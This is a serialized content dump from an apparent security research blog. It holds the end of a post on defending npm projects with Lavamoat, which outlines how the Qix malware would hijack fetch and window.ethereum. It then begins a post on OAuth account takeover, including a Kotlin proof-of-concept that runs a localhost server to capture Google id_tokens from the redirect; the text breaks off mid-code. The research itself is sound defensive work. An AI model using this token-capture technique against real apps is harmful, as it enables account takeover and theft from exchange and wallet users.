\"fetch\"",{"type":22,"tag":264,"props":100608,"children":100609},{"style":1539},[100610],{"type":27,"value":1594},{"type":22,"tag":264,"props":100612,"children":100613},{"style":4293},[100614],{"type":27,"value":38505},{"type":22,"tag":264,"props":100616,"children":100617},{"class":1534,"line":1660},[100618],{"type":22,"tag":264,"props":100619,"children":100620},{"style":1539},[100621],{"type":27,"value":38513},{"type":22,"tag":264,"props":100623,"children":100624},{"class":1534,"line":1668},[100625,100629],{"type":22,"tag":264,"props":100626,"children":100627},{"style":1549},[100628],{"type":27,"value":38521},{"type":22,"tag":264,"props":100630,"children":100631},{"style":1539},[100632],{"type":27,"value":1580},{"type":22,"tag":264,"props":100634,"children":100635},{"class":1534,"line":1677},[100636,100641,100645,100649],{"type":22,"tag":264,"props":100637,"children":100638},{"style":1549},[100639],{"type":27,"value":100640},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":22,"tag":264,"props":100642,"children":100643},{"style":1539},[100644],{"type":27,"value":1594},{"type":22,"tag":264,"props":100646,"children":100647},{"style":4293},[100648],{"type":27,"value":273},{"type":22,"tag":264,"props":100650,"children":100651},{"style":1539},[100652],{"type":27,"value":4812},{"type":22,"tag":264,"props":100654,"children":100655},{"class":1534,"line":1686},[100656,100661,100665],{"type":22,"tag":264,"props":100657,"children":100658},{"style":1549},[100659],{"type":27,"value":100660},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":22,"tag":264,"props":100662,"children":100663},{"style":1539},[100664],{"type":27,"value":1594},{"type":22,"tag":264,"props":100666,"children":100667},{"style":4293},[100668],{"type":27,"value":38505},{"type":22,"tag":264,"props":100670,"children":100671},{"class":1534,"line":4948},[100672],{"type":22,"tag":264,"props":100673,"children":100674},{"style":1539},[100675],{"type":27,"value":1609},{"type":22,"tag":264,"props":100677,"children":100678},{"class":1534,"line":4957},[100679],{"type":22,"tag":264,"props":100680,"children":100681},{"style":1539},[100682],{"type":27,"value":1674},{"type":22,"tag":264,"props":100684,"children":100685},{"class":1534,"line":4980},[100686],{"type":22,"tag":264,"props":100687,"children":100688},{"style":1539},[100689],{"type":27,"value":1692},{"type":22,"tag":23,"props":100691,"children":100692},{},[100693,100695,100701,100703,100709,100710,100715,100717,100723,100724,100730],{"type":27,"value":100694},"In this example, it restricts the ",{"type":22,"tag":257,"props":100696,"children":100698},{"className":100697},[],[100699],{"type":27,"value":100700},"@ethereumjs/util",{"type":27,"value":100702}," package to use only ",{"type":22,"tag":257,"props":100704,"children":100706},{"className":100705},[],[100707],{"type":27,"value":100708},"console.warn",{"type":27,"value":12290},{"type":22,"tag":257,"props":100711,"children":100713},{"className":100712},[],[100714],{"type":27,"value":35409},{"type":27,"value":100716}," functions, and to include only ",{"type":22,"tag":257,"props":100718,"children":100720},{"className":100719},[],[100721],{"type":27,"value":100722},"@ethereumjs/rlp",{"type":27,"value":12290},{"type":22,"tag":257,"props":100725,"children":100727},{"className":100726},[],[100728],{"type":27,"value":100729},"ethereum-cryptography",{"type":27,"value":100731}," packages.",{"type":22,"tag":23,"props":100733,"children":100734},{},[100735],{"type":27,"value":100736},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":22,"tag":23,"props":100738,"children":100739},{},[100740,100742,100748],{"type":27,"value":100741},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":22,"tag":69,"props":100743,"children":100746},{"href":100744,"rel":100745},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[73],[100747],{"type":27,"value":38691},{"type":27,"value":210},{"type":22,"tag":181,"props":100750,"children":100752},{"id":100751},"lavamoat-vs-qix-malware",[100753],{"type":27,"value":100754},"Lavamoat vs Qix Malware",{"type":22,"tag":23,"props":100756,"children":100757},{},[100758,100760,100765],{"type":27,"value":100759},"If a dApp were compromised with the Qix malware (say it used ",{"type":22,"tag":257,"props":100761,"children":100763},{"className":100762},[],[100764],{"type":27,"value":98605},{"type":27,"value":100766},"), it would need to perform the following actions to drain funds from a wallet:",{"type":22,"tag":1867,"props":100768,"children":100769},{},[100770,100782,100793,100804],{"type":22,"tag":1871,"props":100771,"children":100772},{},[100773,100775,100780],{"type":27,"value":100774},"Replace ",{"type":22,"tag":257,"props":100776,"children":100778},{"className":100777},[],[100779],{"type":27,"value":35409},{"type":27,"value":100781}," function to a custom one",{"type":22,"tag":1871,"props":100783,"children":100784},{},[100785,100787],{"type":27,"value":100786},"Access ",{"type":22,"tag":257,"props":100788,"children":100790},{"className":100789},[],[100791],{"type":27,"value":100792},"window.ethereum",{"type":22,"tag":1871,"props":100794,"children":100795},{},[100796,100798,100803],{"type":27,"value":100797},"Call original ",{"type":22,"tag":257,"props":100799,"children":100801},{"className":100800},[],[100802],{"type":27,"value":35409},{"type":27,"value":39528},{"type":22,"tag":1871,"props":100805,"children":100806},{},[100807],{"type":27,"value":100808},"Plus other actions not relevant here",{"type":22,"tag":23,"props":100810,"children":100811},{},[100812,100814,100820],{"type":27,"value":100813},"If the dApp is using Lavamoat with a generated policy for ",{"type":22,"tag":257,"props":100815,"children":100817},{"className":100816},[],[100818],{"type":27,"value":100819},"chalk 5.6.0",{"type":27,"value":100821}," (non-malicious version) it would look like this:",{"type":22,"tag":618,"props":100823,"children":100825},{"code":100824,"language":1527,"meta":7,"className":1525,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[100826],{"type":22,"tag":257,"props":100827,"children":100828},{"__ignoreMap":7},[100829,100841,100852,100872,100888,100895],{"type":22,"tag":264,"props":100830,"children":100831},{"class":1534,"line":1535},[100832,100837],{"type":22,"tag":264,"props":100833,"children":100834},{"style":1597},[100835],{"type":27,"value":100836},"\"chalk\"",{"type":22,"tag":264,"props":100838,"children":100839},{"style":1539},[100840],{"type":27,"value":1580},{"type":22,"tag":264,"props":100842,"children":100843},{"class":1534,"line":1545},[100844,100848],{"type":22,"tag":264,"props":100845,"children":100846},{"style":1549},[100847],{"type":27,"value":38344},{"type":22,"tag":264,"props":100849,"children":100850},{"style":1539},[100851],{"type":27,"value":1580},{"type":22,"tag":264,"props":100853,"children":100854},{"class":1534,"line":1560},[100855,100860,100864,100868],{"type":22,"tag":264,"props":100856,"children":100857},{"style":1549},[100858],{"type":27,"value":100859},"        \"navigator.userAgent\"",{"type":22,"tag":264,"props":100861,"children":100862},{"style":1539},[100863],{"type":27,"value":1594},{"type":22,"tag":264,"props":100865,"children":100866},{"style":4293},[100867],{"type":27,"value":273},{"type":22,"tag":264,"props":100869,"children":100870},{"style":1539},[100871],{"type":27,"value":4812},{"type":22,"tag":264,"props":100873,"children":100874},{"class":1534,"line":1569},[100875,100880,100884],{"type":22,"tag":264,"props":100876,"children":100877},{"style":1549},[100878],{"type":27,"value":100879},"        \"navigator.userAgentData\"",{"type":22,"tag":264,"props":100881,"children":100882},{"style":1539},[100883],{"type":27,"value":1594},{"type":22,"tag":264,"props":100885,"children":100886},{"style":4293},[100887],{"type":27,"value":38505},{"type":22,"tag":264,"props":100889,"children":100890},{"class":1534,"line":1583},[100891],{"type":22,"tag":264,"props":100892,"children":100893},{"style":1539},[100894],{"type":27,"value":1609},{"type":22,"tag":264,"props":100896,"children":100897},{"class":1534,"line":1603},[100898],{"type":22,"tag":264,"props":100899,"children":100900},{"style":1539},[100901],{"type":27,"value":1618},{"type":22,"tag":23,"props":100903,"children":100904},{},[100905,100907,100913],{"type":27,"value":100906},"That means that the chalk dependency can only access these two global attributes from ",{"type":22,"tag":257,"props":100908,"children":100910},{"className":100909},[],[100911],{"type":27,"value":100912},"navigator",{"type":27,"value":210},{"type":22,"tag":23,"props":100915,"children":100916},{},[100917,100919,100925],{"type":27,"value":100918},"When the compromised dApp would execute the malicious payload of ",{"type":22,"tag":257,"props":100920,"children":100922},{"className":100921},[],[100923],{"type":27,"value":100924},"chalk v5.6.1",{"type":27,"value":100926}," it would fail due to insufficient permissions:",{"type":22,"tag":23,"props":100928,"children":100929},{},[100930],{"type":22,"tag":215,"props":100931,"children":100933},{"alt":51899,"src":100932},"/posts/supply-chain-attcks/error.png",[],{"type":22,"tag":23,"props":100935,"children":100936},{},[100937,100939,100944],{"type":27,"value":100938},"This error shows that the malware failed since it cannot redefine ",{"type":22,"tag":257,"props":100940,"children":100942},{"className":100941},[],[100943],{"type":27,"value":35409},{"type":27,"value":26780},{"type":22,"tag":618,"props":100946,"children":100948},{"code":100947},"TypeError#1: Cannot define property fetch, object is not extensible\n",[100949],{"type":22,"tag":257,"props":100950,"children":100951},{"__ignoreMap":7},[100952],{"type":27,"value":100947},{"type":22,"tag":169,"props":100954,"children":100956},{"id":100955},"lavamoat-in-practice",[100957],{"type":27,"value":100958},"Lavamoat In Practice",{"type":22,"tag":23,"props":100960,"children":100961},{},[100962,100964,100971],{"type":27,"value":100963},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":22,"tag":69,"props":100965,"children":100968},{"href":100966,"rel":100967},"https://osec.io/reports/lavamoat_audit_final.pdf",[73],[100969],{"type":27,"value":100970},"see the audit report",{"type":27,"value":22049},{"type":22,"tag":23,"props":100973,"children":100974},{},[100975],{"type":27,"value":100976},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":22,"tag":169,"props":100978,"children":100979},{"id":77123},[100980],{"type":27,"value":77126},{"type":22,"tag":23,"props":100982,"children":100983},{},[100984],{"type":27,"value":100985},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":22,"tag":23,"props":100987,"children":100988},{},[100989,100991,100996],{"type":27,"value":100990},"Version pinning and ",{"type":22,"tag":257,"props":100992,"children":100994},{"className":100993},[],[100995],{"type":27,"value":100432},{"type":27,"value":100997}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":22,"tag":4139,"props":100999,"children":101000},{},[101001],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":101003},[101004,101007,101008,101017,101018],{"id":98620,"depth":1545,"text":98623,"children":101005},[101006],{"id":100255,"depth":1560,"text":100258},{"id":100266,"depth":1545,"text":100269},{"id":100282,"depth":1545,"text":100285,"children":101009},[101010,101012,101014,101016],{"id":100293,"depth":1560,"text":101011},"1. Version pinning in package.json",{"id":100423,"depth":1560,"text":101013},"2. Use npm ci",{"id":100460,"depth":1560,"text":101015},"3. Implement Lavamoat",{"id":100751,"depth":1560,"text":100754},{"id":100955,"depth":1545,"text":100958},{"id":77123,"depth":1545,"text":77126},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":101023,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":101024,"description":101025,"date":101026,"author":101027,"image":101028,"isFeatured":17,"onBlogPage":17,"tags":101030,"body":101033,"_type":4157,"_id":103364,"_source":4159,"_file":103365,"_stem":103366,"_extension":4162},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[32516,32515],{"src":101029,"width":98589,"height":14922},"/posts/oauth-misconfigurations/title.png",[101031,101032],"oAuth","exchanges",{"type":19,"children":101034,"toc":103351},[101035,101041,101046,101052,101072,101078,101083,101096,101101,101109,101123,101132,101141,101155,101163,101174,101234,101240,101252,101301,101307,101312,101325,101332,101343,101363,101382,101403,101409,101422,101427,101433,101452,102077,102082,102095,102956,102961,102966,102972,102977,102983,102988,103001,103041,103047,103060,103065,103098,103103,103108,103133,103138,103150,103307,103312,103316,103328,103333,103337,103342,103347],{"type":22,"tag":169,"props":101036,"children":101038},{"id":101037},"exploiting-oauth",[101039],{"type":27,"value":101040},"Exploiting OAuth",{"type":22,"tag":23,"props":101042,"children":101043},{},[101044],{"type":27,"value":101045},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":22,"tag":181,"props":101047,"children":101049},{"id":101048},"google-authentication-flows",[101050],{"type":27,"value":101051},"Google Authentication Flows",{"type":22,"tag":23,"props":101053,"children":101054},{},[101055,101057,101063,101065,101070],{"type":27,"value":101056},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":22,"tag":257,"props":101058,"children":101060},{"className":101059},[],[101061],{"type":27,"value":101062},"postMessage",{"type":27,"value":101064}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":22,"tag":257,"props":101066,"children":101068},{"className":101067},[],[101069],{"type":27,"value":71089},{"type":27,"value":101071}," to send the token back to the RP.",{"type":22,"tag":20197,"props":101073,"children":101075},{"id":101074},"gsi-new-flow",[101076],{"type":27,"value":101077},"GSI (New Flow)",{"type":22,"tag":23,"props":101079,"children":101080},{},[101081],{"type":27,"value":101082},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":22,"tag":17988,"props":101084,"children":101085},{},[101086,101091],{"type":22,"tag":1871,"props":101087,"children":101088},{},[101089],{"type":27,"value":101090},"Using FedCM API",{"type":22,"tag":1871,"props":101092,"children":101093},{},[101094],{"type":27,"value":101095},"Without using FedCM API",{"type":22,"tag":23,"props":101097,"children":101098},{},[101099],{"type":27,"value":101100},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":22,"tag":23,"props":101102,"children":101103},{},[101104],{"type":22,"tag":242,"props":101105,"children":101106},{},[101107],{"type":27,"value":101108},"FedCM Method",{"type":22,"tag":23,"props":101110,"children":101111},{},[101112,101114,101121],{"type":27,"value":101113},"The FedCM method basically follows this ",{"type":22,"tag":69,"props":101115,"children":101118},{"href":101116,"rel":101117},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[73],[101119],{"type":27,"value":101120},"user experience",{"type":27,"value":101122},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":22,"tag":23,"props":101124,"children":101125},{},[101126,101128],{"type":27,"value":101127},"The normal flow, clicking the \"sign in\" button:\n",{"type":22,"tag":215,"props":101129,"children":101131},{"alt":51899,"src":101130},"/posts/oauth-misconfigurations/image1.png",[],{"type":22,"tag":23,"props":101133,"children":101134},{},[101135,101137],{"type":27,"value":101136},"One-Tap popup shown when you open the page:\n",{"type":22,"tag":215,"props":101138,"children":101140},{"alt":51899,"src":101139},"/posts/oauth-misconfigurations/image2.png",[],{"type":22,"tag":23,"props":101142,"children":101143},{},[101144,101146,101153],{"type":27,"value":101145},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":22,"tag":69,"props":101147,"children":101150},{"href":101148,"rel":101149},"https://github.com/w3c-fedid/FedCM/issues/429",[73],[101151],{"type":27,"value":101152},"FedCM auto-reauthentication",{"type":27,"value":101154},", which has certain preconditions that must be met.",{"type":22,"tag":23,"props":101156,"children":101157},{},[101158],{"type":22,"tag":242,"props":101159,"children":101160},{},[101161],{"type":27,"value":101162},"Non-FedCM Method",{"type":22,"tag":23,"props":101164,"children":101165},{},[101166,101168,101173],{"type":27,"value":101167},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":22,"tag":257,"props":101169,"children":101171},{"className":101170},[],[101172],{"type":27,"value":101062},{"type":27,"value":5785},{"type":22,"tag":1867,"props":101175,"children":101176},{},[101177,101182,101206,101211,101222],{"type":22,"tag":1871,"props":101178,"children":101179},{},[101180],{"type":27,"value":101181},"The user clicks the sign in button",{"type":22,"tag":1871,"props":101183,"children":101184},{},[101185,101187,101193,101195,101200,101201],{"type":27,"value":101186},"RP opens a popup/iframe to ",{"type":22,"tag":69,"props":101188,"children":101191},{"href":101189,"rel":101190},"https://accounts.google.com/o/oauth2/v2/auth",[73],[101192],{"type":27,"value":101189},{"type":27,"value":101194}," with some important parameters like ",{"type":22,"tag":257,"props":101196,"children":101198},{"className":101197},[],[101199],{"type":27,"value":70921},{"type":27,"value":12290},{"type":22,"tag":257,"props":101202,"children":101204},{"className":101203},[],[101205],{"type":27,"value":41450},{"type":22,"tag":1871,"props":101207,"children":101208},{},[101209],{"type":27,"value":101210},"The user clicks the \"Continue\" button to authorize authentication",{"type":22,"tag":1871,"props":101212,"children":101213},{},[101214,101216],{"type":27,"value":101215},"They get redirected to ",{"type":22,"tag":69,"props":101217,"children":101220},{"href":101218,"rel":101219},"https://accounts.google.com/gsi/transform",[73],[101221],{"type":27,"value":101218},{"type":22,"tag":1871,"props":101223,"children":101224},{},[101225,101227,101232],{"type":27,"value":101226},"/gsi/transform sends the token back to the RP via ",{"type":22,"tag":257,"props":101228,"children":101230},{"className":101229},[],[101231],{"type":27,"value":101062},{"type":27,"value":101233}," (after some SYN/ACK messages)",{"type":22,"tag":20197,"props":101235,"children":101237},{"id":101236},"oauth-20-old-flow",[101238],{"type":27,"value":101239},"OAuth 2.0 Old Flow",{"type":22,"tag":23,"props":101241,"children":101242},{},[101243,101245,101250],{"type":27,"value":101244},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":22,"tag":257,"props":101246,"children":101248},{"className":101247},[],[101249],{"type":27,"value":71089},{"type":27,"value":101251}," provided in the URL and validated by a whitelist configuration:",{"type":22,"tag":1867,"props":101253,"children":101254},{},[101255,101259,101280,101284],{"type":22,"tag":1871,"props":101256,"children":101257},{},[101258],{"type":27,"value":101181},{"type":22,"tag":1871,"props":101260,"children":101261},{},[101262,101263,101268,101269,101274,101275],{"type":27,"value":101186},{"type":22,"tag":69,"props":101264,"children":101266},{"href":101189,"rel":101265},[73],[101267],{"type":27,"value":101189},{"type":27,"value":101194},{"type":22,"tag":257,"props":101270,"children":101272},{"className":101271},[],[101273],{"type":27,"value":70921},{"type":27,"value":12290},{"type":22,"tag":257,"props":101276,"children":101278},{"className":101277},[],[101279],{"type":27,"value":71089},{"type":22,"tag":1871,"props":101281,"children":101282},{},[101283],{"type":27,"value":101210},{"type":22,"tag":1871,"props":101285,"children":101286},{},[101287,101288,101293,101295],{"type":27,"value":101215},{"type":22,"tag":257,"props":101289,"children":101291},{"className":101290},[],[101292],{"type":27,"value":71089},{"type":27,"value":101294}," with the token in the query parameters or ",{"type":22,"tag":257,"props":101296,"children":101298},{"className":101297},[],[101299],{"type":27,"value":101300},"location.hash",{"type":22,"tag":20197,"props":101302,"children":101304},{"id":101303},"different-configurations",[101305],{"type":27,"value":101306},"Different Configurations",{"type":22,"tag":23,"props":101308,"children":101309},{},[101310],{"type":27,"value":101311},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":22,"tag":17988,"props":101313,"children":101314},{},[101315,101320],{"type":22,"tag":1871,"props":101316,"children":101317},{},[101318],{"type":27,"value":101319},"Authorized origins",{"type":22,"tag":1871,"props":101321,"children":101322},{},[101323],{"type":27,"value":101324},"Authorized redirect URIs",{"type":22,"tag":23,"props":101326,"children":101327},{},[101328],{"type":22,"tag":215,"props":101329,"children":101331},{"alt":51899,"src":101330},"/posts/oauth-misconfigurations/image3.png",[],{"type":22,"tag":23,"props":101333,"children":101334},{},[101335,101337,101342],{"type":27,"value":101336},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":22,"tag":257,"props":101338,"children":101340},{"className":101339},[],[101341],{"type":27,"value":70921},{"type":27,"value":210},{"type":22,"tag":23,"props":101344,"children":101345},{},[101346,101348,101354,101356,101361],{"type":27,"value":101347},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":22,"tag":257,"props":101349,"children":101351},{"className":101350},[],[101352],{"type":27,"value":101353},"/oauth2/v2/auth",{"type":27,"value":101355}," by checking the ",{"type":22,"tag":257,"props":101357,"children":101359},{"className":101358},[],[101360],{"type":27,"value":41450},{"type":27,"value":101362}," query parameter.",{"type":22,"tag":23,"props":101364,"children":101365},{},[101366,101368,101373,101375,101380],{"type":27,"value":101367},"In the old flow, the ",{"type":22,"tag":257,"props":101369,"children":101371},{"className":101370},[],[101372],{"type":27,"value":71089},{"type":27,"value":101374}," parameter passed in the ",{"type":22,"tag":257,"props":101376,"children":101378},{"className":101377},[],[101379],{"type":27,"value":101353},{"type":27,"value":101381}," endpoint is validated against the authorized redirect URIs.",{"type":22,"tag":23,"props":101383,"children":101384},{},[101385,101387,101392,101394,101401],{"type":27,"value":101386},"Note that the new GSI flow can also have a different flow using ",{"type":22,"tag":257,"props":101388,"children":101390},{"className":101389},[],[101391],{"type":27,"value":71089},{"type":27,"value":101393}," validation. To execute this flow, you need to specify ",{"type":22,"tag":69,"props":101395,"children":101398},{"href":101396,"rel":101397},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[73],[101399],{"type":27,"value":101400},"login_uri",{"type":27,"value":101402}," while using the SDK.",{"type":22,"tag":181,"props":101404,"children":101406},{"id":101405},"localhost-exploit",[101407],{"type":27,"value":101408},"Localhost Exploit",{"type":22,"tag":23,"props":101410,"children":101411},{},[101412,101414,101420],{"type":27,"value":101413},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":22,"tag":257,"props":101415,"children":101417},{"className":101416},[],[101418],{"type":27,"value":101419},"localhost",{"type":27,"value":101421}," origin because it is considered trusted for local testing.",{"type":22,"tag":23,"props":101423,"children":101424},{},[101425],{"type":27,"value":101426},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":22,"tag":20197,"props":101428,"children":101430},{"id":101429},"exploit",[101431],{"type":27,"value":101432},"Exploit",{"type":22,"tag":23,"props":101434,"children":101435},{},[101436,101438,101443,101444,101450],{"type":27,"value":101437},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":22,"tag":257,"props":101439,"children":101441},{"className":101440},[],[101442],{"type":27,"value":101300},{"type":27,"value":14432},{"type":22,"tag":257,"props":101445,"children":101447},{"className":101446},[],[101448],{"type":27,"value":101449},"location.search",{"type":27,"value":101451},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":22,"tag":618,"props":101453,"children":101457},{"className":101454,"code":101455,"language":101456,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[101458],{"type":22,"tag":257,"props":101459,"children":101460},{"__ignoreMap":7},[101461,101490,101509,101516,101523,101542,101553,101564,101595,101618,101665,101672,101679,101686,101693,101713,101744,101755,101762,101769,101788,101811,101822,101841,101856,101867,101890,101925,101944,101951,101962,101985,101996,102008,102015,102022,102029,102036,102043,102070],{"type":22,"tag":264,"props":101462,"children":101463},{"class":1534,"line":1535},[101464,101469,101473,101477,101481,101485],{"type":22,"tag":264,"props":101465,"children":101466},{"style":4293},[101467],{"type":27,"value":101468}," override",{"type":22,"tag":264,"props":101470,"children":101471},{"style":4293},[101472],{"type":27,"value":7499},{"type":22,"tag":264,"props":101474,"children":101475},{"style":4401},[101476],{"type":27,"value":71777},{"type":22,"tag":264,"props":101478,"children":101479},{"style":1539},[101480],{"type":27,"value":71782},{"type":22,"tag":264,"props":101482,"children":101483},{"style":4722},[101484],{"type":27,"value":71787},{"type":22,"tag":264,"props":101486,"children":101487},{"style":1539},[101488],{"type":27,"value":101489},"?){\n",{"type":22,"tag":264,"props":101491,"children":101492},{"class":1534,"line":1545},[101493,101497,101501,101505],{"type":22,"tag":264,"props":101494,"children":101495},{"style":4293},[101496],{"type":27,"value":71800},{"type":22,"tag":264,"props":101498,"children":101499},{"style":1539},[101500],{"type":27,"value":210},{"type":22,"tag":264,"props":101502,"children":101503},{"style":4401},[101504],{"type":27,"value":71809},{"type":22,"tag":264,"props":101506,"children":101507},{"style":1539},[101508],{"type":27,"value":71814},{"type":22,"tag":264,"props":101510,"children":101511},{"class":1534,"line":1560},[101512],{"type":22,"tag":264,"props":101513,"children":101514},{"emptyLinePlaceholder":17},[101515],{"type":27,"value":4986},{"type":22,"tag":264,"props":101517,"children":101518},{"class":1534,"line":1569},[101519],{"type":22,"tag":264,"props":101520,"children":101521},{"style":4284},[101522],{"type":27,"value":71829},{"type":22,"tag":264,"props":101524,"children":101525},{"class":1534,"line":1583},[101526,101530,101534,101538],{"type":22,"tag":264,"props":101527,"children":101528},{"style":4401},[101529],{"type":27,"value":71837},{"type":22,"tag":264,"props":101531,"children":101532},{"style":1539},[101533],{"type":27,"value":71842},{"type":22,"tag":264,"props":101535,"children":101536},{"style":4401},[101537],{"type":27,"value":71847},{"type":22,"tag":264,"props":101539,"children":101540},{"style":1539},[101541],{"type":27,"value":4594},{"type":22,"tag":264,"props":101543,"children":101544},{"class":1534,"line":1603},[101545,101549],{"type":22,"tag":264,"props":101546,"children":101547},{"style":4328},[101548],{"type":27,"value":71859},{"type":22,"tag":264,"props":101550,"children":101551},{"style":1539},[101552],{"type":27,"value":4594},{"type":22,"tag":264,"props":101554,"children":101555},{"class":1534,"line":1612},[101556,101560],{"type":22,"tag":264,"props":101557,"children":101558},{"style":4401},[101559],{"type":27,"value":71871},{"type":22,"tag":264,"props":101561,"children":101562},{"style":1539},[101563],{"type":27,"value":9029},{"type":22,"tag":264,"props":101565,"children":101566},{"class":1534,"line":1621},[101567,101571,101575,101579,101583,101587,101591],{"type":22,"tag":264,"props":101568,"children":101569},{"style":1539},[101570],{"type":27,"value":71883},{"type":22,"tag":264,"props":101572,"children":101573},{"style":4401},[101574],{"type":27,"value":71888},{"type":22,"tag":264,"props":101576,"children":101577},{"style":1539},[101578],{"type":27,"value":2660},{"type":22,"tag":264,"props":101580,"children":101581},{"style":1597},[101582],{"type":27,"value":71897},{"type":22,"tag":264,"props":101584,"children":101585},{"style":1539},[101586],{"type":27,"value":4380},{"type":22,"tag":264,"props":101588,"children":101589},{"style":1597},[101590],{"type":27,"value":71906},{"type":22,"tag":264,"props":101592,"children":101593},{"style":1539},[101594],{"type":27,"value":4463},{"type":22,"tag":264,"props":101596,"children":101597},{"class":1534,"line":1629},[101598,101602,101606,101610,101614],{"type":22,"tag":264,"props":101599,"children":101600},{"style":1539},[101601],{"type":27,"value":71918},{"type":22,"tag":264,"props":101603,"children":101604},{"style":4293},[101605],{"type":27,"value":49731},{"type":22,"tag":264,"props":101607,"children":101608},{"style":1539},[101609],{"type":27,"value":71927},{"type":22,"tag":264,"props":101611,"children":101612},{"style":4722},[101613],{"type":27,"value":71932},{"type":22,"tag":264,"props":101615,"children":101616},{"style":1539},[101617],{"type":27,"value":16103},{"type":22,"tag":264,"props":101619,"children":101620},{"class":1534,"line":1642},[101621,101625,101629,101633,101637,101641,101645,101649,101653,101657,101661],{"type":22,"tag":264,"props":101622,"children":101623},{"style":1539},[101624],{"type":27,"value":71883},{"type":22,"tag":264,"props":101626,"children":101627},{"style":4401},[101628],{"type":27,"value":52775},{"type":22,"tag":264,"props":101630,"children":101631},{"style":1539},[101632],{"type":27,"value":2660},{"type":22,"tag":264,"props":101634,"children":101635},{"style":1597},[101636],{"type":27,"value":71897},{"type":22,"tag":264,"props":101638,"children":101639},{"style":1539},[101640],{"type":27,"value":4380},{"type":22,"tag":264,"props":101642,"children":101643},{"style":1597},[101644],{"type":27,"value":71964},{"type":22,"tag":264,"props":101646,"children":101647},{"style":4293},[101648],{"type":27,"value":35423},{"type":22,"tag":264,"props":101650,"children":101651},{"style":4309},[101652],{"type":27,"value":71973},{"type":22,"tag":264,"props"